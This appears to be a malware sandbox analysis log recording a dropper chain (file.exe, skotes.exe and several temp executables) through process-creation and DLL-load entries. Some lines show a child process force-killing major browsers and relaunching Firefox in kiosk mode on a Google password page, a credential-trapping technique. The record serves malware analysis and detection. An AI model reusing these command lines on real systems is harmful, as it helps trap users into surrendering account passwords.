Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2272 -parentBuildID 20230927232528 -prefsHandle 2192 -prefMapHandle 2184 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55e86b5f-3953-4278-9a52-23c7c331b436} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba49c6e110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4064 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f1a1788-4a6a-4b44-adb8-7b34c81ea1a2} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba5bd78210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1944,i,17281856634279828374,9724014430205040748,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1164 --field-trial-handle=1988,i,16142706175083674967,2684589522950696221,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: msasn1.dll	Jump to behavior
